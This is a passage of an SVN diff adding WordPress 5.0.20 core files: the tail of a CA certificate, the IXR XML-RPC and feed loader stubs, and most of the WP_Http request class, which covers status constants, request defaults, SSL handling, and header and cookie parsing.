+/wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
+ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q
+ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua
+4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG
+E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX
+BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn
+aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy
+PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX
+kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C
+ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
+-----END CERTIFICATE-----
Index: /tags/5.0.20/src/wp-includes/class-IXR.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-IXR.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-IXR.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * IXR - The Incutio XML-RPC Library
+ *
+ * Copyright (c) 2010, Incutio Ltd.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *  - Redistributions of source code must retain the above copyright notice,
+ *    this list of conditions and the following disclaimer.
+ *  - Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *  - Neither the name of Incutio Ltd. nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package IXR
+ * @since 1.5.0
+ *
+ * @copyright  Incutio Ltd 2010 (http://www.incutio.com)
+ * @version    1.7.4 7th September 2010
+ * @author     Simon Willison
+ * @link       http://scripts.incutio.com/xmlrpc/ Site/manual
+ * @license    http://www.opensource.org/licenses/bsd-license.php BSD
+ */
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-server.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-base64.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-client.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-clientmulticall.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-date.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-error.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-introspectionserver.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-message.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-request.php' );
+
+require_once( ABSPATH . WPINC . '/IXR/class-IXR-value.php' );
Index: /tags/5.0.20/src/wp-includes/class-feed.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-feed.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-feed.php	(revision 56912)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * Feed API
+ *
+ * @package WordPress
+ * @subpackage Feed
+ */
+
+_deprecated_file( basename( __FILE__ ), '4.7.0', 'fetch_feed()' );
+
+if ( ! class_exists( 'SimplePie', false ) ) {
+	require_once( ABSPATH . WPINC . '/class-simplepie.php' );
+}
+
+require_once( ABSPATH . WPINC . '/class-wp-feed-cache.php' );
+require_once( ABSPATH . WPINC . '/class-wp-feed-cache-transient.php' );
+require_once( ABSPATH . WPINC . '/class-wp-simplepie-file.php' );
+require_once( ABSPATH . WPINC . '/class-wp-simplepie-sanitize-kses.php' );
Index: /tags/5.0.20/src/wp-includes/class-http.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-http.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-http.php	(revision 56912)
@@ -0,0 +1,1023 @@
+<?php
+/**
+ * HTTP API: WP_Http class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+
+if ( ! class_exists( 'Requests' ) ) {
+	require( ABSPATH . WPINC . '/class-requests.php' );
+
+	Requests::register_autoloader();
+	Requests::set_certificate_path( ABSPATH . WPINC . '/certificates/ca-bundle.crt' );
+}
+
+/**
+ * Core class used for managing HTTP transports and making HTTP requests.
+ *
+ * This class is used to consistently make outgoing HTTP requests easy for developers
+ * while still being compatible with the many PHP configurations under which
+ * WordPress runs.
+ *
+ * Debugging includes several actions, which pass different variables for debugging the HTTP API.
+ *
+ * @since 2.7.0
+ */
+class WP_Http {
+
+	// Aliases for HTTP response codes.
+	const HTTP_CONTINUE                   = 100;
+	const SWITCHING_PROTOCOLS             = 101;
+	const PROCESSING                      = 102;
+
+	const OK                              = 200;
+	const CREATED                         = 201;
+	const ACCEPTED                        = 202;
+	const NON_AUTHORITATIVE_INFORMATION   = 203;
+	const NO_CONTENT                      = 204;
+	const RESET_CONTENT                   = 205;
+	const PARTIAL_CONTENT                 = 206;
+	const MULTI_STATUS                    = 207;
+	const IM_USED                         = 226;
+
+	const MULTIPLE_CHOICES                = 300;
+	const MOVED_PERMANENTLY               = 301;
+	const FOUND                           = 302;
+	const SEE_OTHER                       = 303;
+	const NOT_MODIFIED                    = 304;
+	const USE_PROXY                       = 305;
+	const RESERVED                        = 306;
+	const TEMPORARY_REDIRECT              = 307;
+	const PERMANENT_REDIRECT              = 308;
+
+	const BAD_REQUEST                     = 400;
+	const UNAUTHORIZED                    = 401;
+	const PAYMENT_REQUIRED                = 402;
+	const FORBIDDEN                       = 403;
+	const NOT_FOUND                       = 404;
+	const METHOD_NOT_ALLOWED              = 405;
+	const NOT_ACCEPTABLE                  = 406;
+	const PROXY_AUTHENTICATION_REQUIRED   = 407;
+	const REQUEST_TIMEOUT                 = 408;
+	const CONFLICT                        = 409;
+	const GONE                            = 410;
+	const LENGTH_REQUIRED                 = 411;
+	const PRECONDITION_FAILED             = 412;
+	const REQUEST_ENTITY_TOO_LARGE        = 413;
+	const REQUEST_URI_TOO_LONG            = 414;
+	const UNSUPPORTED_MEDIA_TYPE          = 415;
+	const REQUESTED_RANGE_NOT_SATISFIABLE = 416;
+	const EXPECTATION_FAILED              = 417;
+	const IM_A_TEAPOT                     = 418;
+	const MISDIRECTED_REQUEST             = 421;
+	const UNPROCESSABLE_ENTITY            = 422;
+	const LOCKED                          = 423;
+	const FAILED_DEPENDENCY               = 424;
+	const UPGRADE_REQUIRED                = 426;
+	const PRECONDITION_REQUIRED           = 428;
+	const TOO_MANY_REQUESTS               = 429;
+	const REQUEST_HEADER_FIELDS_TOO_LARGE = 431;
+	const UNAVAILABLE_FOR_LEGAL_REASONS   = 451;
+
+	const INTERNAL_SERVER_ERROR           = 500;
+	const NOT_IMPLEMENTED                 = 501;
+	const BAD_GATEWAY                     = 502;
+	const SERVICE_UNAVAILABLE             = 503;
+	const GATEWAY_TIMEOUT                 = 504;
+	const HTTP_VERSION_NOT_SUPPORTED      = 505;
+	const VARIANT_ALSO_NEGOTIATES         = 506;
+	const INSUFFICIENT_STORAGE            = 507;
+	const NOT_EXTENDED                    = 510;
+	const NETWORK_AUTHENTICATION_REQUIRED = 511;
+
+	/**
+	 * Send an HTTP request to a URI.
+	 *
+	 * Please note: The only URI that are supported in the HTTP Transport implementation
+	 * are the HTTP and HTTPS protocols.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string       $url  The request URL.
+	 * @param string|array $args {
+	 *     Optional. Array or string of HTTP request arguments.
+	 *
+	 *     @type string       $method              Request method. Accepts 'GET', 'POST', 'HEAD', or 'PUT'.
+	 *                                             Some transports technically allow others, but should not be
+	 *                                             assumed. Default 'GET'.
+	 *     @type int          $timeout             How long the connection should stay open in seconds. Default 5.
+	 *     @type int          $redirection         Number of allowed redirects. Not supported by all transports
+	 *                                             Default 5.
+	 *     @type string       $httpversion         Version of the HTTP protocol to use. Accepts '1.0' and '1.1'.
+	 *                                             Default '1.0'.
+	 *     @type string       $user-agent          User-agent value sent.
+	 *                                             Default 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ).
+	 *     @type bool         $reject_unsafe_urls  Whether to pass URLs through wp_http_validate_url().
+	 *                                             Default false.
+	 *     @type bool         $blocking            Whether the calling code requires the result of the request.
+	 *                                             If set to false, the request will be sent to the remote server,
+	 *                                             and processing returned to the calling code immediately, the caller
+	 *                                             will know if the request succeeded or failed, but will not receive
+	 *                                             any response from the remote server. Default true.
+	 *     @type string|array $headers             Array or string of headers to send with the request.
+	 *                                             Default empty array.
+	 *     @type array        $cookies             List of cookies to send with the request. Default empty array.
+	 *     @type string|array $body                Body to send with the request. Default null.
+	 *     @type bool         $compress            Whether to compress the $body when sending the request.
+	 *                                             Default false.
+	 *     @type bool         $decompress          Whether to decompress a compressed response. If set to false and
+	 *                                             compressed content is returned in the response anyway, it will
+	 *                                             need to be separately decompressed. Default true.
+	 *     @type bool         $sslverify           Whether to verify SSL for the request. Default true.
+	 *     @type string       sslcertificates      Absolute path to an SSL certificate .crt file.
+	 *                                             Default ABSPATH . WPINC . '/certificates/ca-bundle.crt'.
+	 *     @type bool         $stream              Whether to stream to a file. If set to true and no filename was
+	 *                                             given, it will be droped it in the WP temp dir and its name will
+	 *                                             be set using the basename of the URL. Default false.
+	 *     @type string       $filename            Filename of the file to write to when streaming. $stream must be
+	 *                                             set to true. Default null.
+	 *     @type int          $limit_response_size Size in bytes to limit the response to. Default null.
+	 *
+	 * }
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
+	 *                        A WP_Error instance upon error.
+	 */
+	public function request( $url, $args = array() ) {
+		$defaults = array(
+			'method' => 'GET',
+			/**
+			 * Filters the timeout value for an HTTP request.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param int $timeout_value Time in seconds until a request times out.
+			 *                           Default 5.
+			 */
+			'timeout' => apply_filters( 'http_request_timeout', 5 ),
+			/**
+			 * Filters the number of redirects allowed during an HTTP request.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param int $redirect_count Number of redirects allowed. Default 5.
+			 */
+			'redirection' => apply_filters( 'http_request_redirection_count', 5 ),
+			/**
+			 * Filters the version of the HTTP protocol used in a request.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param string $version Version of HTTP used. Accepts '1.0' and '1.1'.
+			 *                        Default '1.0'.
+			 */
+			'httpversion' => apply_filters( 'http_request_version', '1.0' ),
+			/**
+			 * Filters the user agent value sent with an HTTP request.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param string $user_agent WordPress user agent string.
+			 */
+			'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ) ),
+			/**
+			 * Filters whether to pass URLs through wp_http_validate_url() in an HTTP request.
+			 *
+			 * @since 3.6.0
+			 *
+			 * @param bool $pass_url Whether to pass URLs through wp_http_validate_url().
+			 *                       Default false.
+			 */
+			'reject_unsafe_urls' => apply_filters( 'http_request_reject_unsafe_urls', false ),
+			'blocking' => true,
+			'headers' => array(),
+			'cookies' => array(),
+			'body' => null,
+			'compress' => false,
+			'decompress' => true,
+			'sslverify' => true,
+			'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt',
+			'stream' => false,
+			'filename' => null,
+			'limit_response_size' => null,
+		);
+
+		// Pre-parse for the HEAD checks.
+		$args = wp_parse_args( $args );
+
+		// By default, Head requests do not cause redirections.
+		if ( isset($args['method']) && 'HEAD' == $args['method'] )
+			$defaults['redirection'] = 0;
+
+		$r = wp_parse_args( $args, $defaults );
+		/**
+		 * Filters the arguments used in an HTTP request.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array  $r   An array of HTTP request arguments.
+		 * @param string $url The request URL.
+		 */
+		$r = apply_filters( 'http_request_args', $r, $url );
+
+		// The transports decrement this, store a copy of the original value for loop purposes.
+		if ( ! isset( $r['_redirection'] ) )
+			$r['_redirection'] = $r['redirection'];
+
+		/**
+		 * Filters whether to preempt an HTTP request's return value.
+		 *
+		 * Returning a non-false value from the filter will short-circuit the HTTP request and return
+		 * early with that value. A filter should return either:
+		 *
+		 *  - An array containing 'headers', 'body', 'response', 'cookies', and 'filename' elements
+		 *  - A WP_Error instance
+		 *  - boolean false (to avoid short-circuiting the response)
+		 *
+		 * Returning any other value may result in unexpected behaviour.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param false|array|WP_Error $preempt Whether to preempt an HTTP request's return value. Default false.
+		 * @param array               $r        HTTP request arguments.
+		 * @param string              $url      The request URL.
+		 */
+		$pre = apply_filters( 'pre_http_request', false, $r, $url );
+
+		if ( false !== $pre )
+			return $pre;
+
+		if ( function_exists( 'wp_kses_bad_protocol' ) ) {
+			if ( $r['reject_unsafe_urls'] ) {
+				$url = wp_http_validate_url( $url );
+			}
+			if ( $url ) {
+				$url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) );
+			}
+		}
+
+		$arrURL = @parse_url( $url );
+
+		if ( empty( $url ) || empty( $arrURL['scheme'] ) ) {
+			return new WP_Error('http_request_failed', __('A valid URL was not provided.'));
+		}
+
+		if ( $this->block_request( $url ) ) {
+			return new WP_Error( 'http_request_failed', __( 'User has blocked requests through HTTP.' ) );
+		}
+
+		// If we are streaming to a file but no filename was given drop it in the WP temp dir
+		// and pick its name using the basename of the $url
+		if ( $r['stream'] ) {
+			if ( empty( $r['filename'] ) ) {
+				$r['filename'] = get_temp_dir() . basename( $url );
+			}
+
+			// Force some settings if we are streaming to a file and check for existence and perms of destination directory
+			$r['blocking'] = true;
+			if ( ! wp_is_writable( dirname( $r['filename'] ) ) ) {
+				return new WP_Error( 'http_request_failed', __( 'Destination directory for file streaming does not exist or is not writable.' ) );
+			}
+		}
+
+		if ( is_null( $r['headers'] ) ) {
+			$r['headers'] = array();
+		}
+
+		// WP allows passing in headers as a string, weirdly.
+		if ( ! is_array( $r['headers'] ) ) {
+			$processedHeaders = WP_Http::processHeaders( $r['headers'] );
+			$r['headers'] = $processedHeaders['headers'];
+		}
+
+		// Setup arguments
+		$headers = $r['headers'];
+		$data = $r['body'];
+		$type = $r['method'];
+		$options = array(
+			'timeout' => $r['timeout'],
+			'useragent' => $r['user-agent'],
+			'blocking' => $r['blocking'],
+			'hooks' => new WP_HTTP_Requests_Hooks( $url, $r ),
+		);
+
+		// Ensure redirects follow browser behaviour.
+		$options['hooks']->register( 'requests.before_redirect', array( get_class(), 'browser_redirect_compatibility' ) );
+
+		// Validate redirected URLs.
+		if ( function_exists( 'wp_kses_bad_protocol' ) && $r['reject_unsafe_urls'] ) {
+			$options['hooks']->register( 'requests.before_redirect', array( get_class(), 'validate_redirects' ) );
+		}
+
+		if ( $r['stream'] ) {
+			$options['filename'] = $r['filename'];
+		}
+		if ( empty( $r['redirection'] ) ) {
+			$options['follow_redirects'] = false;
+		} else {
+			$options['redirects'] = $r['redirection'];
+		}
+
+		// Use byte limit, if we can
+		if ( isset( $r['limit_response_size'] ) ) {
+			$options['max_bytes'] = $r['limit_response_size'];
+		}
+
+		// If we've got cookies, use and convert them to Requests_Cookie.
+		if ( ! empty( $r['cookies'] ) ) {
+			$options['cookies'] = WP_Http::normalize_cookies( $r['cookies'] );
+		}
+
+		// SSL certificate handling
+		if ( ! $r['sslverify'] ) {
+			$options['verify'] = false;
+			$options['verifyname'] = false;
+		} else {
+			$options['verify'] = $r['sslcertificates'];
+		}
+
+		// All non-GET/HEAD requests should put the arguments in the form body.
+		if ( 'HEAD' !== $type && 'GET' !== $type ) {
+			$options['data_format'] = 'body';
+		}
+
+		/**
+		 * Filters whether SSL should be verified for non-local requests.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param bool $ssl_verify Whether to verify the SSL connection. Default true.
+		 */
+		$options['verify'] = apply_filters( 'https_ssl_verify', $options['verify'] );
+
+		// Check for proxies.
+		$proxy = new WP_HTTP_Proxy();
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
+			$options['proxy'] = new Requests_Proxy_HTTP( $proxy->host() . ':' . $proxy->port() );
+
+			if ( $proxy->use_authentication() ) {
+				$options['proxy']->use_authentication = true;
+				$options['proxy']->user = $proxy->username();
+				$options['proxy']->pass = $proxy->password();
+			}
+		}
+
+		// Avoid issues where mbstring.func_overload is enabled
+		mbstring_binary_safe_encoding();
+
+		try {
+			$requests_response = Requests::request( $url, $headers, $data, $type, $options );
+
+			// Convert the response into an array
+			$http_response = new WP_HTTP_Requests_Response( $requests_response, $r['filename'] );
+			$response = $http_response->to_array();
+
+			// Add the original object to the array.
+			$response['http_response'] = $http_response;
+		}
+		catch ( Requests_Exception $e ) {
+			$response = new WP_Error( 'http_request_failed', $e->getMessage() );
+		}
+
+		reset_mbstring_encoding();
+
+		/**
+		 * Fires after an HTTP API response is received and before the response is returned.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array|WP_Error $response HTTP response or WP_Error object.
+		 * @param string         $context  Context under which the hook is fired.
+		 * @param string         $class    HTTP transport used.
+		 * @param array          $r        HTTP request arguments.
+		 * @param string         $url      The request URL.
+		 */
+		do_action( 'http_api_debug', $response, 'response', 'Requests', $r, $url );
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		if ( ! $r['blocking'] ) {
+			return array(
+				'headers' => array(),
+				'body' => '',
+				'response' => array(
+					'code' => false,
+					'message' => false,
+				),
+				'cookies' => array(),
+				'http_response' => null,
+			);
+		}
+
+		/**
+		 * Filters the HTTP API response immediately before the response is returned.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array  $response HTTP response.
+		 * @param array  $r        HTTP request arguments.
+		 * @param string $url      The request URL.
+		 */
+		return apply_filters( 'http_response', $response, $r, $url );
+	}
+
+	/**
+	 * Normalizes cookies for using in Requests.
+	 *
+	 * @since 4.6.0
+	 * @static
+	 *
+	 * @param array $cookies List of cookies to send with the request.
+	 * @return Requests_Cookie_Jar Cookie holder object.
+	 */
+	public static function normalize_cookies( $cookies ) {
+		$cookie_jar = new Requests_Cookie_Jar();
+
+		foreach ( $cookies as $name => $value ) {
+			if ( $value instanceof WP_Http_Cookie ) {
+				$cookie_jar[ $value->name ] = new Requests_Cookie( $value->name, $value->value, $value->get_attributes() );
+			} elseif ( is_scalar( $value ) ) {
+				$cookie_jar[ $name ] = new Requests_Cookie( $name, $value );
+			}
+		}
+
+		return $cookie_jar;
+	}
+
+	/**
+	 * Match redirect behaviour to browser handling.
+	 *
+	 * Changes 302 redirects from POST to GET to match browser handling. Per
+	 * RFC 7231, user agents can deviate from the strict reading of the
+	 * specification for compatibility purposes.
+	 *
+	 * @since 4.6.0
+	 * @static
+	 *
+	 * @param string            $location URL to redirect to.
+	 * @param array             $headers  Headers for the redirect.
+	 * @param string|array      $data     Body to send with the request.
+	 * @param array             $options  Redirect request options.
+	 * @param Requests_Response $original Response object.
+	 */
+	public static function browser_redirect_compatibility( $location, $headers, $data, &$options, $original ) {
+		// Browser compat
+		if ( $original->status_code === 302 ) {
+			$options['type'] = Requests::GET;
+		}
+	}
+
+	/**
+	 * Validate redirected URLs.
+	 *
+	 * @since 4.7.5
+	 *
+	 * @throws Requests_Exception On unsuccessful URL validation
+	 * @param string $location URL to redirect to.
+	 */
+	public static function validate_redirects( $location ) {
+		if ( ! wp_http_validate_url( $location ) ) {
+			throw new Requests_Exception( __('A valid URL was not provided.'), 'wp_http.redirect_failed_validation' );
+		}
+	}
+
+	/**
+	 * Tests which transports are capable of supporting the request.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array $args Request arguments
+	 * @param string $url URL to Request
+	 *
+	 * @return string|false Class name for the first transport that claims to support the request. False if no transport claims to support the request.
+	 */
+	public function _get_first_available_transport( $args, $url = null ) {
+		$transports = array( 'curl', 'streams' );
+
+		/**
+		 * Filters which HTTP transports are available and in what order.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array  $transports Array of HTTP transports to check. Default array contains
+		 *                           'curl', and 'streams', in that order.
+		 * @param array  $args       HTTP request arguments.
+		 * @param string $url        The URL to request.
+		 */
+		$request_order = apply_filters( 'http_api_transports', $transports, $args, $url );
+
+		// Loop over each transport on each HTTP request looking for one which will serve this request's needs.
+		foreach ( $request_order as $transport ) {
+			if ( in_array( $transport, $transports ) ) {
+				$transport = ucfirst( $transport );
+			}
+			$class = 'WP_Http_' . $transport;
+
+			// Check to see if this transport is a possibility, calls the transport statically.
+			if ( !call_user_func( array( $class, 'test' ), $args, $url ) )
+				continue;
+
+			return $class;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Dispatches a HTTP request to a supporting transport.
+	 *
+	 * Tests each transport in order to find a transport which matches the request arguments.
+	 * Also caches the transport instance to be used later.
+	 *
+	 * The order for requests is cURL, and then PHP Streams.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @static
+	 *
+	 * @param string $url URL to Request
+	 * @param array $args Request arguments
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	private function _dispatch_request( $url, $args ) {
+		static $transports = array();
+
+		$class = $this->_get_first_available_transport( $args, $url );
+		if ( !$class )
+			return new WP_Error( 'http_failure', __( 'There are no HTTP transports available which can complete the requested request.' ) );
+
+		// Transport claims to support request, instantiate it and give it a whirl.
+		if ( empty( $transports[$class] ) )
+			$transports[$class] = new $class;
+
+		$response = $transports[$class]->request( $url, $args );
+
+		/** This action is documented in wp-includes/class-http.php */
+		do_action( 'http_api_debug', $response, 'response', $class, $args, $url );
+
+		if ( is_wp_error( $response ) )
+			return $response;
+
+		/**
+		 * Filters the HTTP API response immediately before the response is returned.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array  $response HTTP response.
+		 * @param array  $args     HTTP request arguments.
+		 * @param string $url      The request URL.
+		 */
+		return apply_filters( 'http_response', $response, $args, $url );
+	}
+
+	/**
+	 * Uses the POST HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string       $url  The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function post($url, $args = array()) {
+		$defaults = array('method' => 'POST');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Uses the GET HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $url The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function get($url, $args = array()) {
+		$defaults = array('method' => 'GET');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Uses the HEAD HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $url The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function head($url, $args = array()) {
+		$defaults = array('method' => 'HEAD');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Parses the responses and splits the parts into headers and body.
+	 *
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @param string $strResponse The full response string
+	 * @return array Array with 'headers' and 'body' keys.
+	 */
+	public static function processResponse($strResponse) {
+		$res = explode("\r\n\r\n", $strResponse, 2);
+
+		return array('headers' => $res[0], 'body' => isset($res[1]) ? $res[1] : '');
+	}
+
+	/**
+	 * Transform header string into an array.
+	 *
+	 * If an array is given then it is assumed to be raw header data with numeric keys with the
+	 * headers as the values. No headers must be passed that were already processed.
+	 *
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @param string|array $headers
+	 * @param string $url The URL that was requested
+	 * @return array Processed string headers. If duplicate headers are encountered,
+	 * 					Then a numbered array is returned as the value of that header-key.
+	 */
+	public static function processHeaders( $headers, $url = '' ) {
+		// Split headers, one per array element.
+		if ( is_string($headers) ) {
+			// Tolerate line terminator: CRLF = LF (RFC 2616 19.3).
+			$headers = str_replace("\r\n", "\n", $headers);
+			/*
+			 * Unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) <US-ASCII SP, space (32)>,
+			 * <US-ASCII HT, horizontal-tab (9)> (RFC 2616 2.2).
+			 */
+			$headers = preg_replace('/\n[ \t]/', ' ', $headers);
+			// Create the headers array.
+			$headers = explode("\n", $headers);
+		}
+
+		$response = array('code' => 0, 'message' => '');
+
+		/*
+		 * If a redirection has taken place, The headers for each page request may have been passed.
+		 * In this case, determine the final HTTP header and parse from there.
+		 */
+		for ( $i = count($headers)-1; $i >= 0; $i-- ) {
+			if ( !empty($headers[$i]) && false === strpos($headers[$i], ':') ) {
+				$headers = array_splice($headers, $i);
+				break;
+			}
+		}
+
+		$cookies = array();
+		$newheaders = array();
+		foreach ( (array) $headers as $tempheader ) {
+			if ( empty($tempheader) )
+				continue;
+
+			if ( false === strpos($tempheader, ':') ) {
+				$stack = explode(' ', $tempheader, 3);
+				$stack[] = '';
+				list( , $response['code'], $response['message']) = $stack;
+				continue;
+			}
+
+			list($key, $value) = explode(':', $tempheader, 2);
+
+			$key = strtolower( $key );
+			$value = trim( $value );
+
+			if ( isset( $newheaders[ $key ] ) ) {
+				if ( ! is_array( $newheaders[ $key ] ) )
+					$newheaders[$key] = array( $newheaders[ $key ] );
+				$newheaders[ $key ][] = $value;
+			} else {
+				$newheaders[ $key ] = $value;
+			}
+			if ( 'set-cookie' == $key )
+				$cookies[] = new WP_Http_Cookie( $value, $url );
+		}
+
+		// Cast the Response Code to an int
+		$response['code'] = intval( $response['code'] );
+
+		return array('response' => $response, 'headers' => $newheaders, 'cookies' => $cookies);
+	}
+
+	/**
+	 * Takes the arguments for a ::request() and checks for the cookie array.
+	 *
+	 * If it's found, then it upgrades any basic name => value pairs to WP_Http_Cookie instances,
+	 * which are each parsed into strings and added to the Cookie: header (within the arguments array).
+	 * Edits the array by reference.
+	 *
+	 * @since 2.8.0
+	 * @static
+	 *
+	 * @param array $r Full array of args passed into ::request()
+	 */
+	public static function buildCookieHeader( &$r ) {
+		if ( ! empty($r['cookies']) ) {
+			// Upgrade any name => value cookie pairs to WP_HTTP_Cookie instances.
+			foreach ( $r['cookies'] as $name => $value ) {
+				if ( ! is_object( $value ) )
+					$r['cookies'][ $name ] = new WP_Http_Cookie( array( 'name' => $name, 'value' => $value ) );
+			}
+
+			$cookies_header = '';
+			foreach ( (array) $r['cookies'] as $cookie ) {
+				$cookies_header .= $cookie->getHeaderValue() . '; ';
+			}
+
+			$cookies_header = substr( $cookies_header, 0, -2 );
+			$r['headers']['cookie'] = $cookies_header;
+		}
+	}
+
+	/**
+	 * Decodes chunk transfer-encoding, based off the HTTP 1.1 specification.
+	 *
+	 * Based off the HTTP http_encoding_dechunk function.
+	 *
+	 * @link https://tools.ietf.org/html/rfc2616#section-19.4.6 Process for chunked decoding.
+	 *
+	 * @since 2.7.0
+	 * @static
+	 *
+	 * @param string $body Body content
+	 * @return string Chunked decoded body on success or raw body on failure.
+	 */
+	public static function chunkTransferDecode( $body ) {
+		// The body is not chunked encoded or is malformed.
+		if ( ! preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', trim( $body ) ) )
+			return $body;
+
+		$parsed_body = '';
+
+		// We'll be altering $body, so need a backup in case of error.
+		$body_original = $body;
+
+		while ( true ) {
+			$has_chunk = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $body, $match );
+			if ( ! $has_chunk || empty( $match[1] ) )
+				return $body_original;
+
+			$length = hexdec( $match[1] );
+			$chunk_length = strlen( $match[0] );
+
+			// Parse out the chunk of data.
+			$parsed_body .= substr( $body, $chunk_length, $length );
